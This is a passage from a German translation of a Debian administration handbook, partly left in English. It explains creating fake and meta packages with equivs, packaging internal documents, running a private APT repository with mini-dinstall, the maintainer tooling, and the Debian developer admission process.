Der Zweck eines vorgetäuschten Pakets ist es, dpkg und apt glauben zu machen, dass ein bestimmtes Paket installiert ist, obwohl es nur aus einer leeren Hülle besteht. So können Abhängigkeiten von einem Paket erfüllt werden, wenn das dazugehörige Programm außerhalb des Geltungsbereichs des Paketsystems installiert wurde. Obwohl diese Methode funktioniert, sollte sie möglichst vermieden werden, da sie keine Garantie bietet, dass sich das manuell installierte Programm genauso verhält wie das entsprechende Paket, und andere Pakete, die von ihm abhängen, würden nicht ordnungsgemäß funktionieren.

Ein Meta-Paket besteht dagegen vor allem aus einer Ansammlung von Abhängigkeiten, so dass das Installieren eines Meta-Pakets im Endeffekt in einem Schritt eine Reihe weiterer Pakete mit sich bringt.

Diese beiden Paketarten können mit den Befehlen equivs-control und equivs-build erstellt werden (in dem Paket equivs). Der Befehl equivs-control datei erstellt eine Debian-Header-Datei, die so editiert werden sollte, dass sie den Namen des erwarteten Pakets, seine Versionsnummer, den Namen des Betreuers, seine Abhängigkeiten und eine Beschreibung enthält. Andere Zeilen ohne einen vorgegebenen Wert sind optional und können gelöscht werden. Die Zeilen Copyright, Changelog, Readme und Extra-Files sind in Debian-Paketen keine Standardzeilen; sie machen nur bei equivs-build Sinn und bleiben nicht in den Kopfzeilen des erstellten Pakets erhalten.

Beispiel 15.2. Header-Datei des vorgetäuschten Pakets libxml-libxml-perl

Section: perl Priority: optional Standards-Version: 4.5.1 Package: libxml-libxml-perl Version: 2.0207-1 Maintainer: Raphael Hertzog <hertzog@debian.org> Depends: libxml2 (>= 2.9.10) Architecture: all Description: Fake package - module manually installed in site_perl This is a fake package to let the packaging system believe that this Debian package is installed. . In fact, the package is not installed since a newer version of the module has been manually compiled &amp; installed in the site_perl directory.

Der nächste Schritt besteht darin, das Debian-Paket mit dem Befehl equivs-build datei zu erstellen. Voilà: das Paket wurde im aktuellen Verzeichnis erstellt und kann wie jedes andere Debian-Paket behandelt werden.

$ equivs-build file equivs-build control dpkg-buildpackage: info: source package libxml-libxml-perl dpkg-buildpackage: info: source version 2.0207-1 dpkg-buildpackage: info: source distribution unstable dpkg-buildpackage: info: source changed by Raphael Hertzog <hertzog@debian.org> dpkg-buildpackage: info: host architecture amd64 dpkg-source --before-build . debian/rules clean dh clean dh_clean debian/rules binary dh binary dh_update_autotools_config dh_autoreconf create-stamp debian/debhelper-build-stamp dh_prep dh_install dh_installdocs dh_installchangelogs dh_perl dh_link dh_strip_nondeterminism dh_compress dh_fixperms dh_missing dh_installdeb dh_gencontrol dh_md5sums dh_builddeb dpkg-deb: building package 'libxml-libxml-perl' in '../libxml-libxml-perl_2.0207-1_all.deb'. dpkg-genbuildinfo --build=binary dpkg-genchanges --build=binary >../libxml-libxml-perl_2.0207-1_amd64.changes dpkg-genchanges: info: binary-only upload (no source code included) dpkg-source --after-build . dpkg-buildpackage: info: binary-only upload (no source included) The package has been created. Attention, the package has been created in the current directory, not in ".." as indicated by the messaige above!

15.2.2. Einfaches Dateiarchiv

Die Falcot-Corp.-Administratoren müssen ein Debian-Paket erstellen, um die Bereitstellung einer Reihe von Dokumenten auf einer großen Anzahl von Rechnern zu erleichtern. Der für diese Aufgabe zuständige Administrator liest zunächst den „Leitfaden für neue Debian-Betreuer“ und beginnt dann, an seinem ersten Paket zu arbeiten.

→ https://www.debian.org/doc/manuals/maint-guide/

Der erste Schritt besteht darin, ein Verzeichnis namens falcot-data-1.0 zu erstellen, um das Ziel-Quellpaket aufzunehmen. Das Paket wird logischerweise falcot-data heißen und die Versionsnummer 1.0 tragen. Der Administrator legt die Dokumentdateien dann in einem Unterverzeichnis namens data ab. Anschließend ruft er den Befehl dh_make auf (aus dem Paket dh-make), um Dateien hinzuzufügen, die für den Paketerstellungsprozess benötigt werden, und die alle in einem Unterverzeichnis namens debian abgespeichert werden:

$ cd falcot-data-1.0 $ dh_make --native Type of package: (single, indep, library, python) [s/i/l/p]? i Maintainer Name : Raphael Hertzog Email-Address : hertzog@debian.org Date : Sat, 26 Feb 2021 13:02:06 +0100 Package Name : falcot-data Version : 1.0 License : gpl3 Package Type : indep Are the details correct? [Y/n/q] Currently there is not top level Makefile. This may require additional tuning Done. Please edit the files in the debian/ subdirectory now. $

The selected type of package (indep) indicates that this source package will generate a single binary package that can be shared across all architectures (Architecture: all in debian/control). single acts as a counterpart, and leads to a single binary package that is dependent on the target architecture (Architecture: any). In this case, the former choice is more relevant since the package only contains documents and no binary programs, so it can be used similarly on computers of all architectures.

Der Typ library bezieht sich auf ein Quellpaket, das zu mehreren Binärpaketen führen wird. Er ist für dynamische Bibliotheken nützlich, da diese strengen Erstellungsregeln folgen müssen.

TIPP Name und E-Mail-Adresse des Betreuers

Die meisten der an der Paketbetreuung beteiligten Programme werden in den Umgebungsvariablen DEBFULLNAME und DEBEMAIL oder EMAIL nach Ihrem Namen und Ihrer E-Mail-Adresse Ausschau halten. Sie können es vermeiden, sie viele Male einzugeben, indem Sie sie ein für alle Mal festlegen. Falls Ihre übliche Konsole bash ist, genügt es, die folgenden zwei Zeilen zur Datei ~/.bashrc hinzuzufügen (Sie werden selbstverständlich die angegebenen Werte durch die zutreffenden ersetzen!):

export EMAIL="hertzog@debian.org" export DEBFULLNAME="Raphael Hertzog"

The dh_make command created a debian subdirectory with many files. Some are required, in particular rules, control, changelog and copyright. Files with the .ex extension are example files that can be used by modifying them (and removing the extension) when appropriate. When they are not needed, removing them is recommended. The compat file is not used nor created anymore. Instead of defining the debhelper compatibility level as a number in this file, it is now defined as a build-dependency on the debhelper-compat virtual package in the Build-Depends file in debian/control.

The copyright file must contain information about the authors of the documents included in the package, and the related copyright and license. In our case, these are internal documents and their use is restricted to within the Falcot Corp company. The default format used for this file is defined in the Format field.

→ https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/

The default changelog file is generally appropriate; replacing the “Initial release” with a more verbose explanation and changing the distribution from UNRELEASED or unstable to the target release name is enough.

The control file must also be updated: the Section field can be changed to misc and the Homepage, Vcs-Git and Vcs-Browser fields were removed. The Depends fields was completed with firefox-esr | www-browser so as to ensure the availability of a web browser able to display the documents in the package. If the package does not require to run any commands as root (see HILFSPROGRAMM fakeroot), the Rules-Requires-Root field can be left as is.

Beispiel 15.3. The Datei control

Source: falcot-data Section: misc Priority: optional Maintainer: Raphael Hertzog <hertzog@debian.org> Build-Depends: debhelper-compat (= 13) Standards-Version: 4.5.1 Rules-Requires-Root: no Package: falcot-data Architecture: all Depends: firefox-esr | www-browser, ${misc:Depends} Description: Internal Falcot Corp Documentation This package provides several documents describing the internal structure at Falcot Corp. This includes: - organization diagram - contacts for each department. . These documents MUST NOT leave the company. Their use is INTERNAL ONLY.

Beispiel 15.4. Die Datei changelog

falcot-data (1.0) bullseye; urgency=low * Initial Release. * Let's start with few documents: - internal company structure; - contacts for each department. -- Raphael Hertzog <hertzog@debian.org> Sat, 26 Feb 2022 15:12:06 +0100

Beispiel 15.5. Die Datei copyright

Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/ Upstream-Name: falcot-data Files: * Copyright: 2004-2021 Falcot Corp License: All rights reserved.

ZURÜCK ZU DEN GRUNDLAGEN Die Datei Makefile

Eine Makefile-Datei ist ein Skript, das vom Programm make benutzt wird; es beschreibt Regeln, wie ein Satz von Dateien aufeinander aufbauend in einem Abhängigkeitsbaum zu erstellen ist (zum Beispiel kann ein Programm aus einem Satz von Quelldateien erstellt werden). Die Datei Makefile beschreibt diese Regeln in folgendem Format:

target: source1 source2 ... command1 command2

The basic interpretation of such a rule is as follows: if one of the source* files is more recent than the target file, then the target needs to be generated, using command1 and command2.

Man beachte, dass die Befehlszeilen mit einem Tabulatorzeichen beginnen müssen; und beachten Sie auch, dass, wenn eine Zeile mit einem Gedankenstrich beginnt (-), ein Scheitern dieses Befehls den gesamten Prozess nicht unterbricht.

Die Datei rules enthält normalerweise einen Satz von Regeln, die verwendet werden, um das Programm zu konfigurieren, zu erstellen und in ein speziell dafür vorgesehenes Unterverzeichnis (das nach dem erstellten Binärpaket benannt ist) zu installieren. Der Inhalt dieses Unterverzeichnisses wird dann innerhalb des Debian-Pakets archiviert, als wäre es das Wurzelverzeichnis des Dateisystems. In unserem Fall werden die Dateien in dem Unterverzeichnis debian/falcot-data/usr/share/falcot-data/ installiert, so dass die Dateien beim Installieren des erstellten Pakets unter /usr/share/falcot-data/ eingerichtet werden. Die Datei rules wird als Makefile mit einigen Standardzielen benutzt (einschließlich clean und binary, die verwendet werden, um das Quellverzeichnis aufzuräumen beziehungsweise das Binärpaket zu erstellen).

Obwohl diese Datei im Zentrum des Prozesses steht, enthält sie in zunehmendem Maße nur das absolute Minimum zur Ausführung eines Standardbefehlssatzes, der vom Hilfsprogramm debhelper bereitgestellt wird. Dies ist für durch dh_make erzeugte Dateien der Fall. Um unsere Dateien zu installieren, konfigurieren wir einfach das Verhalten des Befehls dh_install, indem wir die folgende debian/falcot-data.install-Datei erstellen:

data/* usr/share/falcot-data/

Jetzt kann das Paket erstellt werden. Wir werden dem Ganzen noch einen Anstrich geben. Da die Administratoren möchten, dass über die Menüs der grafischen Arbeitsumgebungen leicht auf die Dokumente zugegriffen werden kann, fügen wir eine Datei falcot-data.desktop hinzu und installieren in /usr/share/applications indem wir eine Zweite Zeile zu debian/falcot-data.install hinzufügen.

Beispiel 15.6. The Datei falcot-data.desktop

[Desktop Entry] Name=Internal Falcot Corp Documentation Comment=Starts a browser to read the documentation Exec=x-www-browser /usr/share/falcot-data/index.html Terminal=false Type=Application Categories=Documentation;

Die aktualisierte Datei debian/falcot-data.install sieht so aus:

data/* usr/share/falcot-data/ falcot-data.desktop usr/share/applications/

Unser Quellpaket ist nun fertig. Wir müssen nur noch mit derselben Methode, die wir zuvor für die Wiederherstellung von Paketen benutzt haben, das Binärpaket erzeugen: wir führen im Verzeichnis falcot-data-1.0 den Befehl dpkg-buildpackage -us -uc aus.

15.3. Ein Paket-Depot für APT erstellen

Falcot Corp. hat sukzessive damit begonnen, eine Anzahl von Debian-Paketen zu betreuen, die entweder aus bestehenden Paketen lokal geändert oder von Grund auf neu erstellt wurden, um interne Daten und Programme zu verteilen.

Um ihren Einsatz zu erleichtern, möchten sie diese Pakete in ein Paketarchiv integrieren, das direkt von APT benutzt werden kann. Aus offensichtlichen verwaltungstechnischen Gründen möchten sie dabei interne Pakete von lokal neu erstellten Paketen trennen. Am Ende sollen die entsprechenden Einträge in der Datei /etc/apt/sources.list.d/falcot.list wie folgt aussehen:

deb http://packages.falcot.com/ updates/ deb http://packages.falcot.com/ internal/

Die Administratoren konfigurieren daher auf ihrem internen HTTP-Server einen virtuellen Host, bei dem /srv/vhosts/packages/ das Wurzelverzeichnis des dazugehörigen Speicherplatzes ist. Die Verwaltung des Archivs selbst wird dem Befehl mini-dinstall (im ähnlich genannten Paket) übertragen. Dieses Hilfsprogramm behält ein Verzeichnis namens incoming/ im Auge (in unserem Fall /srv/vhosts/packages/mini-dinstall/incoming/) und wartet dort auf neue Pakete; wenn ein neues Paket hochgeladen wird, wird es unter /srv/vhosts/packages/ in ein Debian-Archiv installiert. Der Befehl mini-dinstall liest die Datei *.changes, die erstellt wird, wenn das Debian-Paket erzeugt wird. Diese Dateien enthalten eine Liste aller übrigen Dateien, die dieser Version des Pakets zugeordnet sind (*.deb, *.dsc, *.diff.gz/*.debian.tar.gz, *.orig.tar.gz oder ihre Entsprechungen bei anderen Komprimierungsprogrammen), und diese lassen mini-dinstall wissen, welche Dateien installiert werden sollen. Die Dateien des Typs *.changes enthalten im jüngsten debian/changelog-Eintrag auch den Namen der Zieldistribution (häufig unstable), und mini-dinstall verwendet diese Information, um zu entscheiden, wo das Paket installiert werden soll. Deshalb müssen Administratoren dieses Feld immer ändern, bevor sie ein Paket erstellen und es in Abhängigkeit vom Zielort auf internal oder updates einstellen. mini-dinstall erzeugt dann die von APT benötigten Dateien, wie zum Beispiel Packages.gz.

ALTERNATIVE apt-ftparchive, aptly, and reprepro

Falls Ihnen mini-dinstall für Ihre Ansprüche an ein Debian-Archiv als zu kompliziert erscheint, können sie stattdessen auch den Befehl apt-ftparchive verwenden. Dieses Hilfsprogramm durchsucht den Inhalt eines Verzeichnisses und zeigt (in seiner Standardausgabe) eine entsprechende Packages-Datei an. Im Falle von Falcot Corp. könnten die Administratoren die Pakete direkt nach /srv/vhosts/packages/updates/ oder /srv/vhosts/packages/internal/ hochladen und dann die folgenden Befehle ausführen, um die Packages.gz-Dateien zu erstellen:

$ cd /srv/vhosts/packages $ apt-ftparchive packages updates >updates/Packages $ gzip updates/Packages $ apt-ftparchive packages internal >internal/Packages $ gzip internal/Packages

Der Befehl apt-ftparchive sources ermöglicht es, in ähnlicher Weise Sources.gz-Dateien zu erstellen.

reprepro and aptly are more advanced tools for the same purpose. They can produce, manage and synchronize a number of package repositories, mirror other repositories, even cherry-pick packages from official repositories and provide them locally, create signatures of the generated package indices and thus provide signed repositories. reprepro stores packages and checksums in a Berkeley DB database file, so no database server is needed. aptly provides the same functionality, but it can be easier in handling. Unfortunately, both projects, although probably the most feature-rich solutions, are not actively developed at the moment.

reprepro comes with a lot of documentation and examples in /usr/share/doc/reprepro/, while aptly has a vast online documentation.

→ https://www.aptly.info/

Zur Konfigurierung von mini-dinstall muss eine Datei namens ~/.mini-dinstall.conf eingerichtet werden; im Falle von Falcot Corp. sieht ihr Inhalt folgendermaßen aus:

[DEFAULT] archive_style = flat archivedir = /srv/vhosts/packages verify_sigs = 0 mail_to = admin@falcot.com generate_release = 1 release_origin = Falcot Corp release_codename = stable [updates] release_label = Recompiled Debian Packages [internal] release_label = Internal Packages

Eine beachtenswerte Entscheidung betrifft die Erzeugung der Release-Dateien für jedes Archiv. Dies ist für die Verwaltung der Prioritäten bei der Paketinstallation unter Verwendung der Konfigurationsdatei /etc/apt/preferences hilfreich (zu Einzelheiten siehe das Kapitel über die APT-Konfigurierung unter Abschnitt 6.2.5, „Paketprioritäten verwalten“).

SICHERHEIT mini-dinstall und Berechtigungen

Da mini-dinstall so konzipiert ist, dass es als normaler Benutzer läuft, besteht keine Notwendigkeit, es als Root auszuführen. Am einfachsten ist es, alles im Benutzerkonto des Administrators zu konfigurieren, der für die Erstellung der Debian-Pakete zuständig ist. Da nur dieser Administrator die erforderlichen Berechtigungen zur Speicherung von Dateien im Verzeichnis incoming/ hat, können wir daraus schließen, dass der Administrator den Ursprung jedes Pakets vor seiner Verwendung autorisiert hat, und dass mini-dinstall dies daher nicht noch einmal tun muss. Hieraus erklärt sich der Parameter verify_sigs = 0 (der bedeutet, dass Signaturen nicht verifiziert zu werden brauchen). Jedoch können wir bei sensiblen Paketinhalten die Einstellung ändern und bestimmen, dass mit einem Schlüsselring authentifiziert wird, der die öffentlichen Schlüssel der Personen enthält, die Pakete erstellen dürfen (konfiguriert mit dem Parameter extra_keyrings); mini-dinstall überprüft dann den Ursprung jedes ankommenden Pakets, indem es die in den *.changes-Dateien integrierte Signatur analysiert.

Der Aufruf des Befehls mini-dinstall startet genau genommen den Daemon im Hintergrund. Solange dieser Daemon läuft, wird er jede halbe Stunde im Verzeichnis incoming/ nach neuen Paketen sehen; wenn ein neues Paket eintrifft, wird es ins Archiv verschoben, und die entsprechenden Dateien Packages.gz und Sources.gz werden erneuert. Falls es problematisch sein sollte, einen Daemon auszuführen, kann mini-dinstall auch jedes Mal, wenn ein Paket in das Verzeichnis incoming/ hochgeladen wird, manuell im Stapelverarbeitungsmodus (mit der Option -b) aufgerufen werden. Weitere von mini-dinstall angebotene Möglichkeiten sind auf seiner Handbuchseite mini-dinstall(1) dokumentiert.

EXTRA Ein signiertes Archiv erzeugen

APT überprüft bei den Paketen, die es handhabt, vor ihrer Installation eine Reihe kryptographischer Signaturen um ihre Authentizität zu gewährleisten (siehe Abschnitt 6.6, „Die Echtheit eines Paketes prüfen“). Private APT-Archive können daher ein Problem darstellen, da die Rechner, die sie verwenden, fortlaufend Warnungen vor nicht signierten Paketen anzeigen. Ein sorgfältiger Administrator wird daher private Archive mit dem sicheren APT-Mechanismus integrieren.

Um diesen Vorgang zu erleichtern, enthält mini-dinstall die Konfigurationsoption release_signscript, mit der es möglich ist, ein Skript zur Erzeugung der Signatur zu spezifizieren. Ein guter Ausgangspunkt ist das Skript sign-release.sh, das vom Paket mini-dinstall im Verzeichnis /usr/share/doc/mini-dinstall/examples/ bereitgestellt wird; lokale Änderungen könnten angebracht sein.

15.4. Paketbetreuer werden

15.4.1. Lernen Pakete zu erstellen

Creating a quality Debian package is not always a simple task, and becoming a package maintainer takes some learning, both with theory and practice in technical and legal matters. It is not a simple matter of building and installing software; rather, the bulk of the complexity comes from understanding the problems and conflicts, and more generally the interactions, with the myriad of other packages available.

15.4.1.1. Regeln

Ein Debian-Paket muss den genauen Regeln des Debian-Regelwerks entsprechen, und jeder Paketbetreuer muss sie kennen. Es ist nicht erforderlich, sie auswendig zu kennen, vielmehr muss man wissen, dass sie existieren, und jedes Mal in ihnen nachsehen, wenn eine Entscheidung mehr als eine banale Alternative darstellt. Jeder Debian-Betreuer hat Fehler gemacht, weil er eine Regel nicht kannte, jedoch ist dies kein ernstes Problem, solange der Fehler behoben wird, wenn ein Benutzer einen Fehlerbericht verfasst (was dank der erfahrenen Benutzer normalerweise recht bald geschieht). Das Standard-Version Feld in debian/control gibt die Version der Debian Richtlinie an zu dem ein Paket gehört. Die Betreuer sollten die neueste Version der Debian-Richtlinie einhalten.

→ http://www.debian.org/doc/debian-policy/

15.4.1.2. Verfahren

Debian ist keine einfache Ansammlung individueller Pakete. Jedermanns Paketerstellungsarbeit ist Teil eines gemeinschaftlichen Projekts; als Debian-Entwickler muss man auch wissen, wie das Debian-Projekt als Ganzes funktioniert. Jeder Entwickler wird früher oder später mit anderen zusammenwirken. Die Debian Entwickler-Referenz (im Paket developers-reference) fasst zusammen, was jeder Entwickler wissen muss, um möglichst reibungslos mit den verschiedenen Teams innerhalb des Projekts zusammenzuarbeiten, und um die größtmöglichen Vorteile aus den verfügbaren Ressourcen zu ziehen. Dieses Dokument zählt auch eine Anzahl von Pflichten auf, deren Erfüllung von einem Entwickler erwartet wird.

→ https://www.debian.org/doc/manuals/developers-reference/

15.4.1.3. Hilfsprogramme

Zahlreiche Hilfsprogramme unterstützen Paketbetreuer bei ihrer Arbeit. Dieser Abschnitt beschreibt sie kurz, aber stellt nicht alle Einzelheiten dar, da jedes von ihnen eine eigene umfassende Dokumentation besitzt.

15.4.1.3.1. devscripts

Das Paket devscripts enthält zahlreiche Programme, die einem Debian-Entwickler bei einem weiten Spektrum seiner Arbeit helfen:

debuild ermöglicht es, ein Paket zu erzeugen (mit dpkg-buildpackage) und dann lintian auszuführen, um seine Übereinstimmung mit dem Debian-Regelwerk zu überprüfen.

debclean bereinigt ein Quellpaket, nachdem ein Binärpaket erzeugt worden ist.

dch ermöglicht das schnelle und einfache Editieren einer debian/changelog-Datei in einem Quellpaket.

uscan überprüft, ob eine neue Version eines Programms vom ursprünglichen Verfasser veröffentlicht worden ist; dies erfordert eine debian/watch-Datei mit einer Beschreibung des Ortes derartiger Veröffentlichungen.

debi ermöglicht es, das gerade erzeugte Debian-Paket (mit dpkg -i) zu installieren, ohne dabei seinen vollständigen Namen und Pfad eingeben zu müssen.

In ähnlicher Weise ermöglicht es debc, den Inhalt eines vor kurzem erzeugten Pakets (mit dpkg -c) abzufragen, ohne seinen vollständigen Namen und Pfad eingeben zu müssen.

bts controls the bug tracking system from the command line; this program automatically generates the appropriate emails.

→ https://www.debian.org/Bugs/server-refcard

debrelease lädt ein kürzlich erzeugtes Paket auf einen entfernten Server hoch, ohne den vollständigen Namen und Pfad der dazugehörigen .changes-Datei eingeben zu müssen.

debsign signiert die *.dsc- und *.changes-Dateien.

uupdate automatisiert die Erstellung einer überarbeiteten Paketversion, wenn eine neue Ursprungsversion veröffentlicht worden ist.

All of the mentioned commands are documented in their respective manual pages. They can further be configured per user in one file: ~/.devscripts.

15.4.1.3.2. debhelper und dh-make

Debhelper is a set of scripts easing the creation of policy-compliant packages; these scripts are invoked from debian/rules. Debhelper has been widely adopted within Debian, as evidenced by the fact that it is used by the majority of official Debian packages. All the commands it contains have a dh_ prefix. Each of them is documented in a manual page. The different compatibility levels and common options are described in debhelper(7).

Das Skript dh_make (im Paket dh-make) erstellt in einem Verzeichnis, das zu Anfang die Quellen einer Software enthält, Dateien, die für die Erzeugung eines Debian-Pakets erforderlich sind. Wie aufgrund des Programmnamens vermutet werden kann, verwenden die erzeugten Dateien standardmäßig debhelper.

15.4.1.3.3. lintian

Dieses Hilfsprogramm ist eines der wichtigsten: es ist der Debian-Paket-Prüfer. Es beruht auf einer langen Reihe von Tests, die aus dem Debian-Regelwerk erstellt worden sind, und entdeckt schnell und automatisch viele Fehler, die vor der Veröffentlichung eines Pakets behoben werden können.

Dieses Programm ist nur ein Gehilfe und versteht manchmal etwas falsch (zum Beispiel ist lintian manchmal nicht aktuell, da sich das Debian-Regelwerk im Laufe der Zeit verändert). Es ist auch nicht vollständig flächendeckend: keine Lintian-Fehlermeldung zu erhalten, sollte nicht als Nachweis verstanden werden, dass das Paket perfekt ist; bestenfalls verhindert es die häufigsten Fehler.

15.4.1.3.4. piuparts

Dies ist ein weiteres wichtiges Tool; es automatisiert die Installation, Aktualisierung und Deinstallation eines Pakets (in einer isolierten Umgebung) und prüft, dass keine dieser Aktivitäten zu einem Fehler führt. Es kann helfen, fehlende Abhängigkeiten aufzudecken und es ermittelt Dateien, die fälschlicher Weise nach einer Deinstallation auf dem System verblieben sind.

15.4.1.3.5. autopkgtest

autopkgtest runs tests on binary packages, using the tests supplied in the source package in debian/tests/. Several commands allow the easy creation of chrooted or virtual test environments.

15.4.1.3.6. reprotest

reprotest erstellt den Sourcecode doppelt in unterschiedlichen Umgebungen und prüft daraufhin die mit jedem build erstellten Binärdaten auf Unterschiede. Wenn Unterschiede auftauchen, wird diffoscope (oder wenn nicht verfügbar, diff) benutzt um die Unterschiede im Detail für eine anschließende Analyse anzuzeigen.

15.4.1.3.7. dupload und dput

The dupload and dput commands allow uploading a Debian package to a (possibly remote) server. This allows developers to publish their package on the main Debian server (ftp-master.debian.org) so that it can be integrated to the archive and distributed by mirrors. These commands take a .changes file as a parameter, and deduce the other relevant files from its contents.

15.4.1.3.8. git-buildpackage and dgit

The project has been using various version control systems over the years to store packaging efforts or package source code, or allow collaborative package maintenance. In an effort to unify the systems and efforts, it was ultimately decided in 2017 to move (almost) all package sources into Git (KULTUR Git) onto a Gitlab instance called salsa.debian.org.

→ https://salsa.debian.org/

To make packaging using Git easier for Debian developers, tools have been developed. These allow not only to store the packaging files in Git, but also to use the Git repositories (and their history) of software projects, put patches applied to package sources into Git history, maintain software versions per distribution, etc.

One of the most famous packages is git-buildpackage. An alternative is dgit. Of course it is still possible to use neither of those.

Below is an example for a ~/.gbp.conf configuration file

[DEFAULT] builder = sbuild -d bullseye --build-dep-resolver=aptitude -s --source-only-changes --build-failed-commands "%SBUILD_SHELL" pristine-tar = true [buildpackage] sign-tags = true keyid = XXXX postbuild = autopkgtest --user debci --apt-upgrade -s "$GBP_CHANGES_FILE" -- lxc --sudo autopkgtest-bullseye-amd64 export-dir = /tmp/build-area/ notify = off [import-orig] filter-pristine-tar = true sign-tags = true [pq] drop = true

Building the package is then as easy as running gbp buildpackage in the Git tree. It will start a package build in a Debian Bullseye chroot using sbuild. When the build succeeds, the created files are checked running the autopkgtest-testsuite (if defined). All the various options are explained in gbp.conf(5) and /etc/git-buildpackage/gbp.conf.

All the tools mentioned so far have been included in the continuous integration (CI) process in the salsa.debian.org instance as well:

→ https://salsa.debian.org/salsa-ci-team/pipeline

15.4.2. Annahmeverfahren

Ein Debian-Entwickler zu werden, ist nicht einfach eine administrative Angelegenheit. Das Verfahren besteht aus mehreren Schritten, und es ist mehr eine Initiation als ein Auswahlprozess. In jedem Fall ist es formalisiert und gut dokumentiert, so dass jeder seine Entwicklung auf der Webseite verfolgen kann, die speziell für das Annahmeverfahren für neue Entwickler vorgesehen ist.

→ https://nm.debian.org/

EXTRA Leichtgewichtiges Verfahren für „Debian-Betreuer“

„Debian-Betreuer“ ist ein weiterer Status der weniger Rechte verleiht als „Debian Entwickler“ und dessen zugehöriger Prozess schneller abläuft. Mit diesem Status zugestandenen Rechte reichen nur dazu aus, die eigenen Pakete zu betreuen. Ein Debian-Entwickler muss nur zu Anfang ein Upload überprüfen und eine Erklärung dahingehend abgeben, dass er dem angehenden Betreuer zutraut, das Paket eigenständig zu betreuen.

15.4.2.1. Voraussetzungen

Von allen Kandidaten wird erwartet, dass sie wenigstens ausreichende Englischkenntnisse haben. Dies ist auf allen Ebenen erforderlich: natürlich für die anfängliche Kommunikation mit dem Prüfer, aber auch später, da Englisch für den Großteil der Dokumentation die bevorzugte Sprache ist; auch Paketbenutzer werden in Englisch kommunizieren, wenn sie Fehler melden, und werden Antworten in Englisch erwarten.

Die andere Voraussetzung bezieht sich auf die Motivation. Ein Debian-Entwickler zu werden, ist ein Prozess, der nur dann Sinn macht, wenn der Kandidat weiß, dass sein Interesse an Debian viele Monate lang anhalten wird. Der Aufnahmeprozess selbst kann mehrere Monate dauern, und Debian benötigt Entwickler langfristig; jedes Paket benötigt dauerhafte Betreuung und nicht nur einen anfänglichen Upload.

15.4.2.2. Registrierung

Er erste (wirkliche) Schritt besteht darin, einen Sponsor oder Befürworter zu finden; hierunter ist ein offizieller Entwickler zu verstehen, der bereit ist zu bestätigen, dass er davon überzeugt ist, dass die Aufnahme von X für Debian von Vorteil sein würde. Dies setzt normalerweise voraus, dass der Kandidat bereits innerhalb der Gemeinschaft aktiv gewesen und seine Arbeit anerkannt ist. Falls der Kandidat schüchtern ist und seine Arbeit nicht öffentlich angepriesen hat, kann er versuchen, einen Debian-Entwickler zu seiner Unterstützung zu bewegen, indem er ihm seine Arbeit privat zeigt.

Zur gleichen Zeit muss der Kandidat mit GnuPG ein öffentliches/privates RSA-Schlüsselpaar erzeugen, das von wenigstens zwei offiziellen Debian-Entwicklern signiert werden sollte. Die Signatur authentifiziert den im Schlüssel enthaltenen Namen. Während einer Keysigning-Party muss jeder Teilnehmer seinen Personalausweis zusammen mit seiner Schlüsselkennung vorweisen. Dieser Schritt bestätigt die offizielle Verbindung zwischen der Person und den Schlüsseln. Daher erfordert diese Signatur, dass man sich persönlich trifft. Falls Sie noch keine Debian-Entwickler bei einer öffentlichen Konferenz über freie Software getroffen haben, können Sie explizit in der Nähe wohnende Entwickler suchen, indem Sie als Ausgangspunkt die auf der folgenden Webseite stehende Liste benutzen.

→ https://wiki.debian.org/Keysigning

Nachdem die Registrierung auf nm.debian.org von einem Unterstützer bestätigt wurde, wird dem Kandidaten ein Antragsmanager zugewiesen. Dieser Antragsmanager wird fortan das Verfahren weiterverfolgen und die verschiedenen Schritte, die dieser Prozess umfasst, bestätigen.

Die erste Überprüfung ist eine Personenkontrolle. Falls Sie bereits einen von zwei Debian-Entwicklern signierten Schlüssel besitzen, ist dieser Schritt einfach; anderenfalls wird der Antragsmanager versuchen, Ihnen bei Ihrer Suche nach in der Nähe lebenden Debian-Entwicklern zu helfen, indem er ein Treffen und eine Schlüsselsignierung organisiert.

15.4.2.3. Die Prinzipien akzeptieren

Diesen administrativen Formalitäten folgen philosophische Erwägungen. Es geht darum sicherzustellen, dass der Kandidat den Gesellschaftsvertrag und die Prinzipien Freier Software versteht und akzeptiert. Es ist nur möglich, Debian beizutreten, wenn man die Werte teilt, die die derzeitigen Entwickler eint, wie sie in den Gründungstexten bekundet sind (und zusammengefasst in Kapitel 1, Das Debian-Projekt).

Darüber hinaus wird von jedem Kandidaten, der Debian beitreten möchte, erwartet, dass er die Funktionsweise des Projekts kennt, und wie man angemessen zusammenwirkt, um Probleme zu lösen, denen er im Laufe der Zeit zweifelsohne begegnen wird. Alle diese Informationen sind im Allgemeinen in den Handbüchern dokumentiert, die für die neuen Betreuer bestimmt sind, sowie in der Debian Entwickler-Referenz. Das aufmerksame Lesen dieser Dokumente sollte genügen, um die Fragen des Prüfers beantworten zu können. Falls die Antworten nicht befriedigen, wird der Kandidat darüber informiert. Er wird dann die entsprechende Dokumentation (nochmals) lesen müssen, bevor er es erneut versucht. In den Fällen, in denen die vorhandene Dokumentation die passenden Antworten auf die Frage nicht enthält, kann der Kandidat normalerweise mit einiger praktischer Erfahrung in Debian die Antwort finden, oder vielleicht auch, indem er mit anderen Debian-Entwicklern spricht. Dieses Verfahren stellt sicher, dass Kandidaten in gewissem Umfang in Debian involviert werden, bevor sie ein vollständiger Teil von ihm werden. Es ist ein ausdrücklicher Grundsatz, dass Kandidaten, die schließlich dem Projekt beitreten, als ein weiteres Teil eines unendlich erweiterbaren Puzzles integriert werden.

Dieser Schritt wird im Jargon der am Betreuungsprozess beteiligten Entwickler gewöhnlich Philosophie & Prozeduren genannt (oder kurz P&P).

15.4.2.4. Fähigkeiten überprüfen

Jeder Antrag, ein offizieller Debian-Entwickler zu werden, muss begründet werden. Um Projektmitglied zu werden, muss man zeigen, dass dieser Status gerechtfertigt ist, und dass er dem Kandidaten seine Unterstützung für Debian erleichtert. Die häufigste Begründung besteht darin, dass der Status als Debian-Entwickler die Betreuung eines Debian-Pakets erleichtert, aber dies ist nicht die einzige. Einige Entwickler treten dem Projekt bei, um zur Übertragung auf eine bestimmte Architektur beizutragen, andere möchten die Dokumentation verbessern und so weiter.

